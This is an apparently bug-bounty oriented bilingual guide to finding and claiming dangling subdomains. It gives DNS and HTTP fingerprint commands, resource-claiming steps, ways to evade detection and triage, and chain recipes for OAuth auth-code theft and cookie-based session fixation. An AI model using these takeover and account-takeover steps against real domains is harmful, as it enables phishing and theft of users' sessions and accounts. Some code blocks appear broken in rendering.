hunt-subdomain

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

Crown Jewel Targets

核心高价值目标

Subdomain takeover is high-value because it allows an attacker to serve content from a trusted, company-owned domain — bypassing browser same-origin trust, phishing filters, and user skepticism simultaneously.

Highest payout contexts:

Subdomains of major SaaS brands (Shopify, Snapchat, Mozilla, Yelp) where the trusted domain has user session context
CDN-backed subdomains (Fastly, CloudFront) where CNAME points to unclaimed origins
Third-party service integrations: UserVoice, WordPress.com, GitHub Pages, GitLab Pages, Heroku, Zendesk
Preview/staging/dev subdomains (
```
new.
```
,
```
preview.
```
,
```
course.
```
,
```
delivery.
```
,
```
addons-preview.
```
) — abandoned after feature launches
Subdomains used for OAuth redirect URIs or SSO endpoints — these pay highest

Asset types that matter most:

CNAME records pointing to deprovisioned third-party services
NS delegations to abandoned zones
A records pointing to unallocated cloud IPs (less common)
GitLab/GitHub Pages with unclaimed project namespaces

子域名接管具有很高价值，因为攻击者可以在受信任的公司自有域名下提供内容，同时绕过浏览器同源信任、反钓鱼过滤器和用户戒备心理。

收益最高的场景：

主流 SaaS 品牌的子域名（Shopify、Snapchat、Mozilla、Yelp），其受信任域名承载用户会话上下文
由 CDN 承载的子域名（Fastly、CloudFront），其中 CNAME 指向无人认领的源站
第三方服务集成：UserVoice、WordPress.com、GitHub Pages、GitLab Pages、Heroku、Zendesk
预览、预发布和开发子域名（
```
new.
```
、
```
preview.
```
、
```
course.
```
、
```
delivery.
```
、
```
addons-preview-
```
）——功能上线后被遗弃
用作 OAuth redirect URI 或 SSO 端点的子域名——这类目标收益最高

最重要的资产类型：

指向已下线第三方服务的 CNAME 记录
委派至废弃区域的 NS 记录
指向未分配云 IP 的 A 记录（相对少见）
项目命名空间无人认领的 GitLab/GitHub Pages

Attack Surface Signals

攻击面信号

DNS signals:

CNAME

pointing to

*.github.io

*.gitlab.io

*.fastly.net

*.herokudns.com

*.wordpress.com

*.uservoice.com

*.zendesk.com

*.s3.amazonaws.com

*.azurewebsites.net

*.netlify.app

NXDOMAIN or
```
SERVFAIL
```
on the CNAME target while the parent record still exists
NS records delegating to registrars where the zone is no longer registered

HTTP response signals:

```
"There isn't a GitHub Pages site here"
```
```
"NoSuchBucket"
```
(S3)
```
"The specified bucket does not exist"
```
```
"No such app"
```
(Heroku)

"Sorry, this shop is currently unavailable"

(Shopify)

```
"This UserVoice subdomain is available"
```
```
"Do you want to register"
```
(any domain parking page)
HTTP 404 with provider-specific error templates
Fastly:
```
"Fastly error: unknown domain"
```
```
"404 Web Site not found"
```
(Azure App Service)

Tech stack signals:

Response headers:

X-Served-By: cache-*

(Fastly),

X-GitHub-Request-Id

Server: Netlify

```
CNAME
```
chain resolving to provider infrastructure but returning provider 404
SSL cert issued to provider wildcard (
```
*.fastly.net
```
) rather than company domain

DNS 信号：

CNAME

指向

*.github.io

、

*.gitlab.io

、

*.fastly.net

、

*.herokudns.com

、

*.wordpress.com

、

*.uservoice.com

、

*.zendesk.com

、

*.s3.amazonaws.com

、

*.azurewebsites.net

、

*.netlify.app

CNAME 目标返回 NXDOMAIN 或 SERVFAIL，而父级记录仍然存在
NS 记录委派给区域已不再注册的注册商

HTTP 响应信号：

```
"There isn't a GitHub Pages site here"
```
```
"NoSuchBucket"
```
（S3）
```
"The specified bucket does not exist"
```
```
"No such app"
```
（Heroku）

"Sorry, this shop is currently unavailable"

（Shopify）

```
"This UserVoice subdomain is available"
```
```
"Do you want to register"
```
（任意域名停放页面）
带有提供商专属错误模板的 HTTP 404
Fastly：
```
"Fastly error: unknown domain"
```
```
"404 Web Site not found"
```
（Azure App Service）

技术栈信号：

响应头：

X-Served-By: cache-*

（Fastly）、

X-GitHub-Request-Id

、

Server: Netlify

CNAME 链解析到提供商基础设施，但返回提供商 404 页面
SSL 证书签发给提供商通配符域名（
```
*.fastly.net
```
），而不是公司域名

Step-by-Step Hunting Methodology

分步搜寻方法论

Enumerate all subdomains for the target using passive + active sources:

```
subfinder -d target.com -all
```
```
amass enum -passive -d target.com
```
```
assetfinder --subs-only target.com
```
Certificate transparency:
```
crt.sh/?q=%.target.com
```

Resolve all subdomains and flag those with:
- NXDOMAIN responses
- CNAME pointing to a third-party provider
bash
```
cat subdomains.txt | dnsx -a -cname -o resolved.txt
```

Cross-reference CNAMEs against known vulnerable provider fingerprints using

nuclei

subjack

bash

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json
nuclei -l subdomains.txt -t takeovers/

Manual verification for each flagged subdomain:
- ```
dig CNAME subdomain.target.com
```
  — confirm CNAME exists
- ```
dig A <cname-target>
```
  — confirm NXDOMAIN or no resolution
- ```
curl -sk https://subdomain.target.com
```
  — check for provider error string
Confirm claimability — attempt to register the resource:
- GitHub Pages: check if
```
<username>.github.io/<repo>
```
  or org page is unclaimed
- GitLab Pages: check project namespace
- S3: attempt
```
aws s3api create-bucket --bucket <bucketname>
```
- UserVoice/Zendesk/WordPress: visit registration URL
- Fastly: check if origin hostname is unregistered
Claim the resource (only enough to prove control — do NOT serve malicious content):
- Create a minimal index page with your HackerOne username and a timestamp
- Take screenshot showing your content served on
```
subdomain.target.com
```
Document the chain: CNAME record → provider target → unclaimed resource → your content
Assess impact escalation:
- Does the subdomain appear in OAuth redirect allowlists?
- Does it share cookies with parent domain (
```
domain=.target.com
```
  )?
- Is it referenced in the app's CSP?
- Can it receive authenticated API calls?
Write report before releasing the claim (some programs want to verify first)

枚举目标的所有子域名，结合被动与主动来源：

```
subfinder -d target.com -all
```
```
amass enum -passive -d target.com
```
```
assetfinder --subs-only target.com
```
Certificate Transparency：
```
crt.sh/?q=%.target.com
```

解析所有子域名，并标记存在以下情况的域名：
- NXDOMAIN 响应
- CNAME 指向第三方提供商
bash
```
cat subdomains.txt | dnsx -a -cname -o resolved.txt
```

使用

nuclei

或

subjack

将 CNAME 与已知存在漏洞的提供商指纹进行交叉比对：

bash

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json
nuclei -l subdomains.txt -t takeovers/

对每个被标记的子域名进行人工验证：
- ```
dig CNAME subdomain.target.com
```
  ——确认 CNAME 存在
- ```
dig A <cname-target>
```
  ——确认 NXDOMAIN 或无法解析
- ```
curl -sk https://subdomain.target.com
```
  ——检查提供商错误字符串
确认可认领性——尝试注册对应资源：
- GitHub Pages：检查
```
<username>.github.io/<repo>
```
  或组织页面是否无人认领
- GitLab Pages：检查项目命名空间
- S3：尝试
```
aws s3api create-bucket --bucket <bucketname>
```
- UserVoice/Zendesk/WordPress：访问注册 URL
- Fastly：检查源站 hostname 是否未注册
认领资源（仅需足以证明控制权——不要提供恶意内容）：
- 创建一个包含你的 HackerOne 用户名和时间戳的最小 index 页面
- 截取显示该内容已在
```
subdomain.target.com
```
  上提供的截图
记录完整链路：CNAME 记录 → 提供商目标 → 无人认领的资源 → 你的内容
评估影响升级路径：
- 该子域名是否出现在 OAuth redirect 白名单中？
- 它是否与父域共享 cookie（
```
domain=.target.com
```
  ）？
- 它是否被应用的 CSP 引用？
- 它能否接收经过身份验证的 API 调用？
编写报告，然后再释放认领资源（部分项目要求先由官方验证）

Payload & Detection Patterns

Payload 与检测模式

Bulk CNAME extraction and NXDOMAIN detection:

bash

undefined

批量 CNAME 提取和 NXDOMAIN 检测：

bash

undefined

Extract CNAMEs and check if target resolves

while read sub; do cname=$(dig +short CNAME "$sub" | head -1) if [ -n "$cname" ]; then result=$(dig +short A "$cname") if [ -z "$result" ]; then echo "[POTENTIAL] $sub -> $cname (NXDOMAIN)" fi fi done < subdomains.txt


**Nuclei takeover scan:**
```bash
nuclei -l subdomains.txt -t ~/nuclei-templates/http/takeovers/ -severity medium,high,critical

subjack with SSL:

bash

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v

Provider fingerprint grep patterns:

bash

curl -sk "https://$subdomain" | grep -iE \
  "there isn't a github pages|no such bucket|no such app|this uservoice|fastly error: unknown domain|do you want to register|sorry, this shop|project not found|404 not found|unclaimed"

Check if subdomain is in scope for cookies (shared parent domain):

bash

curl -Isk "https://target.com" | grep -i "set-cookie" | grep "domain=.target.com"

Fastly-specific detection:

bash

curl -sI "https://subdomain.target.com" -H "Host: subdomain.target.com" | grep -i "fastly\|x-served-by\|x-cache"
curl -sk "https://subdomain.target.com" | grep -i "fastly error"

S3 unclaimed bucket check:

bash

aws s3api head-bucket --bucket <extracted-bucket-name> 2>&1 | grep -i "NoSuchBucket\|403\|404"

GitLab Pages specific:

bash

dig CNAME sub.target.com


**Nuclei 接管扫描：**
```bash
nuclei -l subdomains.txt -t ~/nuclei-templates/http/takeovers/ -severity medium,high,critical

带 SSL 的 subjack：

bash

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v

提供商指纹 grep 模式：

bash

curl -sk "https://$subdomain" | grep -iE \
  "there isn't a github pages|no such bucket|no such app|this uservoice|fastly error: unknown domain|do you want to register|sorry, this shop|project not found|404 not found|unclaimed"

检查子域名是否处于 cookie 作用域内（共享父域）：

bash

curl -Isk "https://target.com" | grep -i "set-cookie" | grep "domain=.target.com"

Fastly 专用检测：

bash

curl -sI "https://subdomain.target.com" -H "Host: subdomain.target.com" | grep -i "fastly\|x-served-by\|x-cache"
curl -sk "https://subdomain.target.com" | grep -i "fastly error"

S3 无人认领 bucket 检查：

bash

aws s3api head-bucket --bucket <extracted-bucket-name> 2>&1 | grep -i "NoSuchBucket\|403\|404"

GitLab Pages 专用检测：

bash

dig CNAME sub.target.com

If pointing to *.gitlab.io — visit the gitlab.io URL directly

404 from gitlab.io project = claimable

---

---

Common Root Causes

常见根因

Service offboarding without DNS cleanup — Developer removes a Heroku app, UserVoice account, or WordPress site but never deletes the CNAME record. DNS lives forever; service does not.
Staging/preview infrastructure abandoned post-launch —
```
course.
```
,
```
new.
```
,
```
preview.
```
,
```
beta.
```
subdomains provisioned for a product launch, pointed at a third-party, then forgotten when the campaign ends.
Subdomain provisioned by a third-party team — Marketing sets up a UserVoice or Zendesk subdomain via IT, product sunset kills it, but DNS is owned by engineering who doesn't know.
CDN misconfiguration without origin validation — Fastly and similar CDNs historically allowed any domain to "claim" a backend hostname by creating a service pointing to it. Unregistered origin hostnames become claimable.
GitHub/GitLab Pages namespace not reserved — Organization renames, user accounts deleted, or repos made private/deleted while the Pages CNAME still points to the old namespace.
Wildcard DNS entries —
```
*.target.com
```
pointing to a cloud provider means any unclaimed subdomain potentially resolves to claimable infrastructure.
Acquired/divested company DNS not cleaned — Post-acquisition, former brand subdomains (like
```
oberlo.com
```
under Shopify) retain CNAMEs to services that are no longer paid for.

服务下线后未清理 DNS——开发者删除了 Heroku app、UserVoice 账户或 WordPress 站点，却从未删除 CNAME 记录。DNS 永久存在，服务却不会。
产品上线后遗留预发布或预览基础设施——为产品发布创建的
```
course.
```
、
```
new.
```
、
```
preview.
```
、
```
beta.
```
等子域名指向第三方服务，并在活动结束后被遗忘。
子域名由第三方团队配置——营销团队通过 IT 创建 UserVoice 或 Zendesk 子域名，产品下线后该服务被终止，但 DNS 由工程团队管理，相关人员并不知情。
CDN 配置错误且未验证源站归属——Fastly 等 CDN 过去曾允许任何人通过创建指向某个 hostname 的服务来“认领”源站。未注册的源站 hostname 因而变得可被认领。
GitHub/GitLab Pages 命名空间未保留——组织重命名、用户账户被删除，或者仓库被设为私有或删除，但 Pages CNAME 仍指向旧命名空间。
通配符 DNS 记录——
```
*.target.com
```
指向某个云提供商，意味着任何无人认领的子域名都可能解析到可认领的基础设施。
收购或剥离后未清理公司 DNS——收购完成后，原品牌的子域名（例如 Shopify 下的
```
oberlo.com
```
）仍保留指向已停止付费服务的 CNAME。

Bypass Techniques

绕过技术

Defense: Manual fingerprint review before publishing

Bypass: Use alternative error strings — providers change their 404 pages. Maintain an up-to-date fingerprint list. Some providers show different errors on HTTP vs HTTPS. Test both.

Defense: Scope restrictions (only main domain in scope)

Bypass: Check program's asset list carefully —
```
*.target.com
```
wildcards often include subdomains implicitly. Escalate impact to get it in scope.

Defense: "Can't reproduce" responses due to timing

Bypass: Screenshot immediately after claiming. Record a video walkthrough. The window can be short for popular subdomains.

Defense: HTTPS certificate mismatch blocking proof

Bypass: Some providers (GitHub Pages, Netlify) auto-provision TLS for claimed domains. Others don't — show HTTP takeover and note TLS would be resolved by provider on claim.

Defense: Provider-side validation (Fastly verifying domain ownership)

Bypass: Some Fastly configurations don't validate origin hostnames. Check if the CNAME target is a generic Fastly backend hostname vs. a customer-verified one. Try claiming anyway and observe behavior.

Defense: Rate limiting on subdomain enumeration

Bypass: Use passive-only sources (SecurityTrails, Shodan, crt.sh, VirusTotal) to avoid triggering WAF/IDS. DNS resolution doesn't touch the web server.

Defense: Program claims "low severity / no impact"

Bypass: Demonstrate same-origin cookie theft, OAuth redirect abuse, or CSP bypass to escalate. Find if the subdomain is listed in any
```
postMessage
```
```
targetOrigin
```
checks in JS.

防御：发布前进行人工指纹检查

**绕过：**使用替代错误字符串——提供商会更改其 404 页面。维护最新的指纹列表。部分提供商在 HTTP 与 HTTPS 下会显示不同错误，应同时测试两者。

防御：范围限制（仅主域名在范围内）

**绕过：**仔细检查项目的资产列表；
```
*.target.com
```
通配符通常会隐式包含子域名。通过升级影响证明来争取将其纳入范围。

防御：因时序问题回复“无法复现”

**绕过：**认领后立即截图并录制操作视频。对于热门子域名，可利用的时间窗口可能很短。

防御：HTTPS 证书不匹配阻碍证明

**绕过：**部分提供商（GitHub Pages、Netlify）会自动为已认领域名配置 TLS，而其他提供商不会——展示 HTTP 接管结果，并说明认领后 TLS 会由提供商解决。

防御：提供商侧验证（Fastly 验证域名所有权）

**绕过：**部分 Fastly 配置不会验证源站 hostname。检查 CNAME 目标是通用 Fastly 后端 hostname，还是经过客户验证的 hostname。无论如何都尝试认领并观察行为。

防御：子域名枚举存在速率限制

**绕过：**仅使用被动来源（SecurityTrails、Shodan、crt.sh、VirusTotal），避免触发 WAF/IDS。DNS 解析不会接触 Web 服务器。

防御：项目声称“严重程度低或无影响”

**绕过：**演示同源 cookie 窃取、OAuth redirect 滥用或 CSP 绕过，以升级严重程度。检查 JavaScript 中是否有
```
postMessage
```
```
targetOrigin
```
检查引用了该子域名。

Gate 0 Validation

Gate 0 验证

What can the attacker DO right now? Can you register the unclaimed resource (GitHub repo, S3 bucket, Heroku app, UserVoice account) and serve arbitrary content — including phishing pages, credential harvesters, or malicious scripts — under the target's trusted domain name?
What does the victim LOSE? Users lose trust and safety: they see a company-branded URL serving attacker content. The company loses brand integrity, potentially leaks session cookies if the subdomain is in
```
domain=.target.com
```
scope, and may have OAuth/SSO flows hijacked. Depending on CSP configuration, XSS against the main application may be possible.
Can it be reproduced in 10 minutes from scratch?
- ```
dig CNAME subdomain.target.com
```
  → confirms CNAME to provider
- ```
curl -sk https://subdomain.target.com
```
  → confirms provider error string
- Visit provider registration page → confirms namespace is available
- Screenshots of all three steps = reproducible in under 10 minutes

If you cannot show the provider resource is currently unclaimed and claimable, it is not a valid report.

攻击者现在能做什么？ 你能否注册无人认领的资源（GitHub 仓库、S3 bucket、Heroku app、UserVoice 账户），并在目标受信任的域名名下提供任意内容——包括钓鱼页面、凭据收集器或恶意脚本？
受害者会失去什么？ 用户会失去信任与安全：他们看到的是公司品牌 URL，却正在提供攻击者控制的内容。公司会失去品牌完整性；如果子域名处于
```
domain=.target.com
```
作用域内，还可能泄露会话 cookie；OAuth/SSO 流程也可能被劫持。取决于 CSP 配置，还可能对主应用发起 XSS。
能否在 10 分钟内从头复现？
- ```
dig CNAME subdomain.target.com
```
  → 确认 CNAME 指向提供商
- ```
curl -sk https://subdomain.target.com
```
  → 确认提供商错误字符串
- 访问提供商注册页面 → 确认命名空间可用
- 上述三个步骤的截图 = 可在 10 分钟内复现

如果你无法证明提供商资源当前无人认领且可以认领，它就不是一份有效报告。

Real Impact Examples

真实影响示例

Scenario A — Trusted Brand Phishing via Abandoned SaaS (Snapchat/UserVoice) An attacker finds

feedback.snapchat.com

CNAME pointing to a UserVoice subdomain. The UserVoice account was cancelled but the DNS record remained. The attacker registers the matching UserVoice subdomain for free, gaining control of

feedback.snapchat.com

. Any user navigating to that URL — perhaps from old bookmarks or Google results — sees attacker-controlled content on a Snapchat-branded domain. Since the domain is trusted by browsers, phishing campaigns sent from this subdomain bypass email security filters that check domain reputation.

Scenario B — CDN Origin Takeover Enabling Same-Origin Attacks (Mozilla/Fastly)

addons-preview-cdn.mozilla.net

had a CNAME pointing to a Fastly origin hostname that was no longer registered to Mozilla's Fastly account. An attacker could create a Fastly service claiming that origin hostname, causing all requests to

addons-preview-cdn.mozilla.net

to be routed to attacker-controlled Fastly infrastructure. Since the subdomain shares the

mozilla.net

domain, it could be leveraged to serve malicious CDN assets that appear to come from Mozilla's infrastructure, potentially bypassing CSP rules that allowlist

*.mozilla.net

Scenario C — Staging Subdomain Abandoned Post-Product Migration (Rails/GitHub Pages)

new.rubyonrails.org

was pointed at a GitHub Pages deployment for a website redesign project. After the new site launched and the old GitHub repo was deleted or made private, the DNS CNAME remained. An attacker could fork or create a matching GitHub Pages repository and claim the namespace, serving content under

new.rubyonrails.org

. Because this is the official Ruby on Rails domain, any content served there — including fake download links or malicious gems — carries the full trust of the Rails brand.

场景 A——通过废弃 SaaS 实施受信任品牌钓鱼（Snapchat/UserVoice） 攻击者发现

feedback.snapchat.com

的 CNAME 指向一个 UserVoice 子域名。UserVoice 账户已取消，但 DNS 记录仍然保留。攻击者免费注册对应的 UserVoice 子域名，从而控制

feedback.snapchat.com

。任何访问该 URL 的用户——可能来自旧书签或 Google 搜索结果——都会在 Snapchat 品牌域名下看到攻击者控制的内容。由于浏览器信任该域名，从该子域名发起的钓鱼活动可以绕过检查域名信誉的邮件安全过滤器。

场景 B——CDN 源站接管实现同源攻击（Mozilla/Fastly）

addons-preview-cdn.mozilla.net

的 CNAME 曾指向一个不再注册在 Mozilla Fastly 账户下的 Fastly 源站 hostname。攻击者可以创建 Fastly 服务并认领该源站 hostname，使发往

addons-preview-cdn.mozilla.net

的所有请求都被路由到攻击者控制的 Fastly 基础设施。由于该子域名共享

mozilla.net

域，它可以用于提供看似来自 Mozilla 基础设施的恶意 CDN 资源，并可能绕过允许

*.mozilla.net

的 CSP 规则。

场景 C——产品迁移后遗留预发布子域名（Rails/GitHub Pages）

new.rubyonrails.org

曾指向一个网站改版项目的 GitHub Pages 部署。新站点上线后，旧 GitHub 仓库被删除或设为私有，但 DNS CNAME 仍然保留。攻击者可以 fork 或创建一个同名 GitHub Pages 仓库并认领该命名空间，从而在

new.rubyonrails.org

下提供内容。由于这是 Ruby on Rails 的官方域名，该域名下提供的任何内容——包括虚假下载链接或恶意 gem——都会承载完整的 Rails 品牌信任。

Disclosed Report Citations (2022-2023)

已披露报告引用（2022–2023）

The following coordinated-disclosure / writeup cases extend this skill with modern provider fingerprints (Vercel/Azure cloudapp/Zendesk era) and explicit ATO-chain examples. Citations #12 and #13 are external writeups (not disclosed HackerOne reports) — treat their payout figures as unverified; only #14 has a public H1 report ID.

Microsoft Azure DevOps — Two
cloudapp.azure.com
subdomains + wildcard
*.visualstudio.com
OAuth reply_to → 1-click ATO (Binary Security writeup)
- Subclass: Azure
```
cloudapp.azure.com
```
  regional-pool dangling CNAME — chained to ATO
- ATO chain: YES —
```
app.vssps.visualstudio.com/_signin?reply_to=https://feedsprodwcus0dr.feeds.visualstudio.com/
```
  whitelisted any
```
*.visualstudio.com
```
  . Attacker claimed the dangling Azure VM hostnames, then crafted sign-in URLs that returned JWT + FedAuth tokens to attacker-controlled endpoints
- Claim flow: identify dangling
```
cloudapp.azure.com
```
  CNAME, deploy a free-tier VM in the same Azure region requesting the exact released hostname, Azure re-issues the name first-come-first-serve
- Year: reported Feb 2021, disclosed Nov 2022 — MSRC explicitly out-of-scope (relied on subdomain takeover), $0
Anonymous H1 —
admin-support.xyz.com
→ unclaimed Zendesk → email interception → ATO (Writeup by 0xprial)
- Subclass: Zendesk help-desk takeover via
```
xyzdocs.zendesk.com
```
  host-mapping
- ATO chain: YES — researcher configured email forwarding on the hijacked Zendesk instance, intercepted
```
support@xyz.com
```
  tickets containing payment info + password-reset emails, then triggered password resets on customer accounts that delivered reset links into the attacker's Zendesk inbox
- Claim flow:
```
dig CNAME
```
  returns
```
xyzdocs.zendesk.com
```
  (unregistered) → register free Zendesk trial → add
```
xyzdocs
```
  as subdomain → enable host-mapping for
```
admin-support.xyz.com
```
- Year: 2023 — payout per the 0xprial writeup (blog source; no public HackerOne report ID, treat as unverified)
Vercel deleted-project takeover — a dangling
```
cname.vercel-dns.com
```
CNAME pointing to a removed Vercel project can be re-claimed by deploying a new project under that name.
- Subclass: Vercel dangling CNAME (
```
cname.vercel-dns.com
```
  ) after project deletion
- Impact: crypto-DEX phishing —
```
proxies.
```
  subdomain trusted for RPC proxy routing; attacker could serve malicious wallet-drain JS under a "trusted" subdomain
- Claim flow: subdomain returns Vercel 404
```
DEPLOYMENT_NOT_FOUND
```
  → create free Vercel project → Settings → Domains → add
```
proxies.sifchain.finance
```
  — Vercel verifies the existing CNAME and auto-issues TLS without out-of-band ownership proof
- Year: 2022 — Sifchain treated as Critical (web3 phishing vector)

Fastly CDN dangling-service technique (general, not a single disclosed report):

Fingerprint: subdomain returns

Fastly error: unknown domain. Please check that this domain has been added to a service

Claim flow: sign up for Fastly free trial → create new CDN service → attach the dangling hostname as the service domain
Root cause: Fastly historically does not verify CNAME ownership on service-creation; any CNAME pointing into Fastly's anycast can be attached to a fresh service
Potential ATO chain: chains to CSP-bypass + JS-injection if the parent domain trusts the
```
assets.
```
/CDN host for
```
script-src
```

以下协调披露或文章案例通过现代提供商指纹（Vercel/Azure cloudapp/Zendesk 时代）和明确的 ATO 链示例扩展了此 skill。引用 #12 和 #13 是外部文章，并非已披露的 HackerOne 报告——其收益数字应视为未经核实；只有 #14 提供了公开 H1 报告 ID。

Microsoft Azure DevOps——两个
cloudapp.azure.com
子域名 + 通配符
*.visualstudio.com
OAuth
reply_to
→ 一键 ATO（Binary Security 文章）
- 子类：Azure
```
cloudapp.azure.com
```
  区域池悬空 CNAME——可串联成 ATO
- ATO 链：是——
```
app.vssps.visualstudio.com/_signin?reply_to=https://feedsprodwcus0dr.feeds.visualstudio.com/
```
  的白名单允许任意
```
*.visualstudio.com
```
  。攻击者认领悬空的 Azure VM hostname，然后构造登录 URL，将 JWT + FedAuth token 返回至攻击者控制的端点
- 认领流程：识别悬空的
```
cloudapp.azure.com
```
  CNAME，在同一 Azure 区域部署免费层 VM 并请求刚刚释放的准确 hostname，Azure 会先到先得地重新签发该名称
- 年份：2021 年 2 月报告，2022 年 11 月披露——MSRC 明确将其排除在范围外（依赖于子域名接管），$0
匿名 H1——
admin-support.xyz.com
→ 无人认领的 Zendesk → 邮件拦截 → ATO（0xprial 文章）
- 子类：通过
```
xyzdocs.zendesk.com
```
  主机映射实现 Zendesk help-desk 接管
- ATO 链：是——研究员在被接管的 Zendesk 实例中配置邮件转发，拦截包含支付信息和密码重置邮件的
```
support@xyz.com
```
  工单，然后触发客户账户的密码重置，使重置链接被投递到攻击者的 Zendesk 收件箱
- 认领流程：
```
dig CNAME
```
  返回
```
xyzdocs.zendesk.com
```
  （未注册）→ 注册免费 Zendesk 试用账户 → 添加
```
xyzdocs
```
  子域名 → 为
```
admin-support.xyz.com
```
  启用主机映射
- 年份：2023——收益数据来自 0xprial 文章（博客来源；没有公开 HackerOne 报告 ID，应视为未经核实）
Vercel 已删除项目接管——指向已删除 Vercel 项目的悬空
```
cname.vercel-dns.com
```
CNAME，可以通过使用同一名称部署新项目重新认领。
- 子类：项目删除后的 Vercel 悬空 CNAME（
```
cname.vercel-dns.com
```
  ）
- 影响：加密货币 DEX 钓鱼——
```
proxies.
```
  子域名因用于 RPC proxy 路由而受到信任；攻击者可以在“受信任”的子域名下提供恶意钱包清空 JS
- 认领流程：子域名返回 Vercel 404
```
DEPLOYMENT_NOT_FOUND
```
  → 创建免费 Vercel 项目 → Settings → Domains → 添加
```
proxies.sifchain.finance
```
  ——Vercel 会验证现有 CNAME，并自动签发 TLS，无需带外所有权证明
- 年份：2022——Sifchain 将其视为 Critical（web3 钓鱼向量）

通用 Fastly CDN 悬空服务技术（并非单一已披露报告）：

指纹：子域名返回

Fastly error: unknown domain. Please check that this domain has been added to a service

认领流程：注册 Fastly 免费试用 → 创建新的 CDN 服务 → 将悬空 hostname 绑定为服务域名
根因：Fastly 过去在创建服务时不验证 CNAME 所有权；任何指向 Fastly anycast 的 CNAME 都可以绑定到新服务
潜在 ATO 链：如果父域信任
```
assets.
```
/CDN host 并将其用于
```
script-src
```
，则可串联成 CSP 绕过 + JS 注入

Chains & Compositions (Senior Hunting)

链式组合与组合技（高级搜寻）

Subdomain takeover by itself is Low-Medium / Informational on most mature programs — defacement of a non-business-critical subdomain is unsexy. The chain payout is 10-100x the standalone. Every takeover should be evaluated against the five chains below before submission. If none apply, you have a Low; if one applies, you have a High; if two compose, you have a Critical.

在大多数成熟项目中，单独的子域名接管通常只有 Low-Medium 或 Informational 级别——篡改非业务关键子域名并不出彩。链式组合的收益是单独提交的 10–100 倍。**每次接管都应在提交前针对以下五条链进行评估。**如果没有任何一条适用，则为 Low；适用一条为 High；两条组合则可能为 Critical。

Chain 1 — Takeover + OAuth

redirect_uri

Whitelist → Auth-Code Theft → 1-Click ATO

链 1——接管 + OAuth

redirect_uri

白名单 → 授权码窃取 → 一键 ATO

A. Enumerate the OAuth
```
redirect_uri
```
allowlist via
```
/oauth/authorize
```
flow. Look for any wildcard
```
*.target.com
```
or any takeover-candidate hostname in the static list (e.g.,
```
feedsprod.feeds.visualstudio.com
```
,
```
legacy.target.com
```
).
B. Find a takeover-able subdomain in that allowlist. Claim it via the provider's onboarding (Vercel project, Azure cloudapp regional pool, S3 bucket, Heroku app, Zendesk, Shopify storefront — see the Disclosed Report Citations above).
C. Host an OAuth callback receiver on the claimed subdomain. Send victim to
```
/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit>
```
. Victim's browser already has session → auth happens transparently → auth code lands on attacker host. Exchange via token endpoint → ATO.
Impact: Persistent 1-click ATO across every user of the target. OAuth flow is implicit-to-the-user (no consent screen if previously consented), so requires only a single click on attacker's link.
Real shape: Microsoft Azure DevOps
```
cloudapp.azure.com
```
+ wildcard
```
*.visualstudio.com
```
reply_to chain (Binary Security, Nov 2022 — Disclosed Report Citation #12). Multiple H1 disclosures on SaaS programs with permissive OAuth allowlists.

A. 通过
```
/oauth/authorize
```
流程枚举 OAuth
```
redirect_uri
```
白名单。寻找任意通配符
```
*.target.com
```
，或静态列表中的任何接管候选 hostname（例如
```
feedsprod.feeds.visualstudio.com
```
、
```
legacy.target.com
```
）。
B. 在该白名单中找到一个可接管的子域名。通过提供商入驻流程认领它（Vercel 项目、Azure cloudapp 区域池、S3 bucket、Heroku app、Zendesk、Shopify storefront——参见上文已披露报告引用）。
C. 在已认领的子域名上托管 OAuth callback 接收器。将受害者引导至
```
/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit>
```
。受害者浏览器已有会话 → 认证透明完成 → auth code 落到攻击者主机。通过 token endpoint 交换 → ATO。
**影响：**对目标的每位用户实施持久的一键 ATO。OAuth 流程对用户是隐式的（如果之前已经授权，则不会显示同意页面），因此攻击者只需受害者点击一次链接。
**真实形态：**Microsoft Azure DevOps
```
cloudapp.azure.com
```
+ 通配符
```
*.visualstudio.com
```
reply_to 链（Binary Security，2022 年 11 月——已披露报告引用 #12）。多个存在宽松 OAuth 白名单的 SaaS 项目中也有 H1 披露。

Chain 2 — Takeover at Sibling Subdomain + Cookie-Domain Wildcard → Session Fixation on Parent App

链 2——接管同级子域名 + Cookie-Domain 通配符 → 主应用 Session Fixation

A. Inspect cookies set by the main app (
```
app.target.com
```
). If
```
Set-Cookie
```
has
```
Domain=.target.com
```
(parent-scoped) instead of host-only, cookies bleed to every sibling subdomain — including taken-over ones.
B. Take over any sibling (
```
legacy.target.com
```
,
```
feedback.target.com
```
,
```
assets.target.com
```
). The taken-over host can now
```
Set-Cookie
```
for the parent domain.
C. Plant
```
Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com
```
via a script on the taken-over host. Victim visits
```
app.target.com
```
with attacker's session cookie attached. Server treats them as the attacker's account → session-fixation ATO.
Impact: ATO without OAuth or password reset — pure cookie-domain bleed. Especially effective when the parent app uses a non-
```
__Host-
```
prefixed session cookie.
Real shape: Discussed extensively in
```
hunt-auth-bypass
```
Duende BFF Attack Class 2 (cookie-domain wildcarding turns subdomain takeover into session fixation). Pattern class: S3-bucket-takeover combined with parent-scoped (
```
Domain=.target.com
```
) cookies.

A. 检查主应用设置的 cookie（
```
app.target.com
```
）。如果
```
Set-Cookie
```
包含
```
Domain=.target.com
```
（父域作用域），而不是仅限 host，cookie 就会流向每个同级子域名，包括被接管的子域名。
B. 接管任意同级子域名（
```
legacy.target.com
```
、
```
feedback.target.com
```
、
```
assets.target.com
```
）。被接管的主机现在可以为父域设置
```
Set-Cookie
```
。
C. 通过被接管主机上的脚本植入
```
Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com
```
。受害者访问
```
app.target.com
```
时会附带攻击者的 session cookie。服务器将其视为攻击者账户 → session-fixation ATO。
**影响：**无需 OAuth 或密码重置即可实现 ATO——完全依靠 cookie-domain 扩散。当父应用使用不带
```
__Host-
```
前缀的 session cookie 时尤其有效。
**真实形态：**在
```
hunt-auth-bypass
```
